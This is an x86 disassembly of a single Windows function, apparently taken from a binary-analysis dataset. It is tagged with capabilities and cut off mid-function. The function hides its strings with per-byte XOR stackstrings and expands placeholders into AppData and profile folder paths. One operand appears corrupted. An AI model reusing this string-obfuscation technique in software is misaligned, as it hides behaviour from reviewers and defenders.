Function at 0x448f60
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507812
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2f0
push esi
push edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
push 0x536230
cmovae esi, dword [ebx + 8]
mov dword [ebp - 0x198], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x44abd2
test esi, esi
je 0x448fed
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448fd0
sub ecx, edx
je 0x448fed
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x448fed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x536230
call fcn.004dba03
add esp, 4
cmp byte [0x536138], 2
jne 0x44ab8b
lea eax, [ebp - 0x194]
mov ecx, 0x536138
push eax
call fcn.00462c30
mov edx, ecx
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x184], edx
movzx eax, byte [edx]
mov ecx, eax
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], connect
sub ecx, 1
je 0x449099
sub ecx, 1
je 0x44908b
mov dword [ebp - 0x178], connect
sub eax, 1
je 0x449099
sub eax, 1
je 0x44908b
mov dword [ebp - 0x178], 1
jmp 0x4490a4
mov eax, dword [edx + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x17c], eax
jmp 0x4490a4
mov eax, dword [edx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x194]
call fcn.004621f0
test al, al
je 0x44ab8b
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x194]
call fcn.00462300
movaps xmm0, xmmword [0x524d80]
mov esi, eax
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 1
xor ecx, ecx
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xf
jb 0x4490e2
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x1d], 0
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x1d4]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x104], 0xd0b1317
mov dword [ebp - 0x100], 0x20c36
mov dword [ebp - 0xfc], 0x1001d08
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x104], al
inc ecx
cmp ecx, 0xa
jb 0x449131
lea eax, [ebp - 0x104]
mov byte [ebp - 0xf9], 0
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x14f], 0xd0b1317
mov dword [ebp - 0x14b], 0x40c36
mov dword [ebp - 0x147], 0x1d0b09
mov byte [ebp - 0x143], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x14f], al
inc ecx
cmp ecx, 0xb
jb 0x449190
lea eax, [ebp - 0x14f]
mov byte [ebp - 0x143], 0
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x70]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x15d], 0xd0b1317
mov dword [ebp - 0x159], 0x16021936
mov dword [ebp - 0x155], 0x12043108
mov word [ebp - 0x151], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x15d], al
inc ecx
cmp ecx, 0xc
jb 0x4491f0
lea eax, [ebp - 0x15d]
mov byte [ebp - 0x150], 0
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x58]
push ecx
mov ecx, eax
call fcn.004697b0
cmp dword [eax + 0x14], 0x10
jb 0x449229
mov eax, dword [eax]
push eax
call fcn.004e9fd7
mov ecx, dword [ebp - 0x44]
add esp, 4
mov dword [ebp - 0x164], eax
cmp ecx, 0x10
jb 0x44926c
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449262
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
movaps xmm0, xmmword [0x525710]
xor ecx, ecx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0xe040400
mov word [ebp - 0x1e], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0x14
jb 0x449286
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], 0
push eax
mov ecx, esi
call fcn.00469670
cmp byte [eax], 4
jne 0x44abd8
mov al, byte [eax + 8]
lea ecx, [ebp - 0x9b]
sub esp, 0x18
mov byte [ebp - 0x75], al
mov edx, esp
mov word [ebp - 0x9b], 0x3a
xorps xmm0, xmm0
mov byte [ebp - 0x99], 0
mov dword [ebp - 0x7c], esp
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4492e7
sub ecx, esi
lea eax, [ebp - 0x9b]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1d4]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 3
call fcn.0040bf50
add esp, 0x30
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x74], 0x1004649
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 2
jb 0x449333
sub esp, 0x18
mov byte [ebp - 0x71], 0
mov edx, esp
mov dword [ebp - 0x7c], esp
xorps xmm0, xmm0
lea ecx, [ebp - 0x74]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449367
sub ecx, esi
lea eax, [ebp - 0x74]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 8
lea eax, [ebp - 0x1b0]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 7
call fcn.0040bf50
add esp, 0x30
mov byte [ebp - 4], 9
xor ecx, ecx
mov dword [ebp - 0xbd], 0x3b222240
mov dword [ebp - 0xb9], 0x3c243e22
mov word [ebp - 0xb5], 0x48
mov byte [ebp - 0xb3], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 9
jb 0x4493d0
lea edx, [ebp - 0xbd]
mov byte [ebp - 0xb3], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4493f1
sub edx, ecx
lea eax, [ebp - 0xbd]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x449679
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0
push 0
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449466
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xa
xor ecx, ecx
mov dword [ebp - 0xc8], 0x3b222240
mov dword [ebp - 0xc4], 0x3c243e22
mov word [ebp - 0xc0], 0x48
mov byte [ebp - 0xbe], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 9
jb 0x4494b0
xorps xmm0, xmm0
mov byte [ebp - 0xbe], 0
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4494e6
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edi
cmp esi, eax
ja 0x449605
sub eax, esi
test esi, esi
jne 0x449543
xor edi, edi
jmp 0x4495e9
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449602
mov edx, dword [ebp - 0x3c]
mov ecx, edi
sub esi, 4
jb 0x449581
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x449586
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449570
cmp esi, 0xfffffffc
je 0x4495ba
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4495b3
cmp esi, 0xfffffffd
je 0x4495ba
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4495b3
cmp esi, 0xfffffffe
je 0x4495ba
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4495b3
cmp esi, 0xffffffff
je 0x4495ba
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4495ba
sbb eax, eax
or eax, 1
jmp 0x4495bc
xor eax, eax
test eax, eax
je 0x4495de
mov eax, dword [ebp - 0x38]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x1c]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449566
jmp 0x449602
sub edi, dword [ebp - 0x40]
cmp edi, 0xffffffff
je 0x449602
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xa
je 0x44963b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449631
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449673
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449669
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0xeb], 0x2b282240
xor ecx, ecx
mov dword [ebp - 0xe7], 0x222e273c
mov dword [ebp - 0xe3], 0x4a3d39
mov byte [ebp - 0xdf], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xeb], al
inc ecx
cmp ecx, 0xb
jb 0x4496a0
lea edx, [ebp - 0xeb]
mov byte [ebp - 0xdf], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4496c1
sub edx, ecx
lea eax, [ebp - 0xeb]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x449943
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 5
push 0
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449736
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xc
xor ecx, ecx
mov dword [ebp - 0xf8], 0x2b282240
mov dword [ebp - 0xf4], 0x222e273c
mov dword [ebp - 0xf0], 0x4a3d39
mov byte [ebp - 0xec], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xf8], al
inc ecx
cmp ecx, 0xb
jb 0x449780
xorps xmm0, xmm0
mov byte [ebp - 0xec], 0
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4497b6
sub ecx, edx
lea eax, [ebp - 0xf8]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x4498d5
sub eax, esi
test esi, esi
jne 0x449813
xor edi, edi
jmp 0x4498b9
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4498d2
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x449851
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x449856
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449840
cmp esi, 0xfffffffc
je 0x44988a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x449883
cmp esi, 0xfffffffd
je 0x44988a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x449883
cmp esi, 0xfffffffe
je 0x44988a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x449883
cmp esi, 0xffffffff
je 0x44988a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44988a
sbb eax, eax
or eax, 1
jmp 0x44988c
xor eax, eax
test eax, eax
je 0x4498ae
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449836
jmp 0x4498d2
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x4498d2
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xc
je 0x44990b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449901
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449943
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449939
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x113], 0x2d343340
xor ecx, ecx
mov dword [ebp - 0x10f], 0x23393a3b
mov dword [ebp - 0x10b], 0x3523272b
mov word [ebp - 0x107], 0x54
mov byte [ebp - 0x105], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x113], al
inc ecx
cmp ecx, 0xd
jb 0x449973
lea edx, [ebp - 0x113]
mov byte [ebp - 0x105], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449994
sub edx, ecx
lea eax, [ebp - 0x113]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x449b6f
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449a10
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0x122], 0x2d343340
mov dword [ebp - 0x11e], 0x23393a3b
mov dword [ebp - 0x11a], 0x3523272b
mov word [ebp - 0x116], 0x54
mov byte [ebp - 0x114], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 0xd
jb 0x449a60
xorps xmm0, xmm0
mov byte [ebp - 0x114], 0
lea ecx, [ebp - 0x122]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449a96
sub ecx, edx
lea eax, [ebp - 0x122]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x70]
push dword [ebp - 0x24]
mov esi, dword [ebp - 0x34]
cmp edi, 0x10
mov edx, dword [ebp - 0x60]
cmovae eax, esi
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
push eax
cmovae ecx, dword [ebp - 0x70]
push 0
call fcn.0046aba0
add esp, 0xc
cmp eax, 0xffffffff
je 0x449b02
cmp dword [ebp - 0x44], 0x10
lea ecx, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae ecx, dword [ebp - 0x58]
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x70]
push eax
call fcn.00467d20
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0xe
je 0x449b37
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x449b2d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push esi
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449b6f
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449b65
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xd3], 0x38372740
xor ecx, ecx
mov dword [ebp - 0xcf], 0x2d3f2b2d
mov word [ebp - 0xcb], 0x48
mov byte [ebp - 0xc9], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 9
jb 0x449b95
lea edx, [ebp - 0xd3]
mov byte [ebp - 0xc9], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449bb6
sub edx, ecx
lea eax, [ebp - 0xd3]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x449e43
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449c30
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0xde], 0x38372740
mov dword [ebp - 0xda], 0x2d3f2b2d
mov word [ebp - 0xd6], 0x48
mov byte [ebp - 0xd4], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xde], al
inc ecx
cmp ecx, 9
jb 0x449c73
xorps xmm0, xmm0
mov byte [ebp - 0xd4], 0
lea ecx, [ebp - 0xde]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449cb0
sub ecx, edx
lea eax, [ebp - 0xde]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x449dd5
sub eax, esi
test esi, esi
jne 0x449d0d
xor edi, edi
jmp 0x449db9
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449dd2
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x449d51
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x449d56
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449d40
cmp esi, 0xfffffffc
je 0x449d8a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x449d83
cmp esi, 0xfffffffd
je 0x449d8a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x449d83
cmp esi, 0xfffffffe
je 0x449d8a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x449d83
cmp esi, 0xffffffff
je 0x449d8a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x449d8a
sbb eax, eax
or eax, 1
jmp 0x449d8c
xor eax, eax
test eax, eax
je 0x449dae
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449d30
jmp 0x449dd2
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x449dd2
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x10
je 0x449e0b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449e01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449e43
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449e39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x142], 0x2b282a40
xor ecx, ecx
mov dword [ebp - 0x13e], 0x3c2a2628
mov dword [ebp - 0x13a], 0x242e2a3d
mov dword [ebp - 0x136], 0x1005730
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x142], al
inc ecx
cmp ecx, 0xe
jb 0x449e70
lea edx, [ebp - 0x142]
mov byte [ebp - 0x133], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449e91
sub edx, ecx
lea eax, [ebp - 0x142]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x44a123
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449f10
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x12
xor ecx, ecx
mov dword [ebp - 0x132], 0x2b282a40
mov dword [ebp - 0x12e], 0x3c2a2628
mov dword [ebp - 0x12a], 0x242e2a3d
mov dword [ebp - 0x126], 0x1005730
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x132], al
inc ecx
cmp ecx, 0xe
jb 0x449f60
xorps xmm0, xmm0
mov byte [ebp - 0x123], 0
lea ecx, [ebp - 0x132]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449f96
sub ecx, edx
lea eax, [ebp - 0x132]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x44a0b5
sub eax, esi
test esi, esi
jne 0x449ff3
xor edi, edi
jmp 0x44a099
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a0b2
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x44a031
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x44a036
add ecx, 4
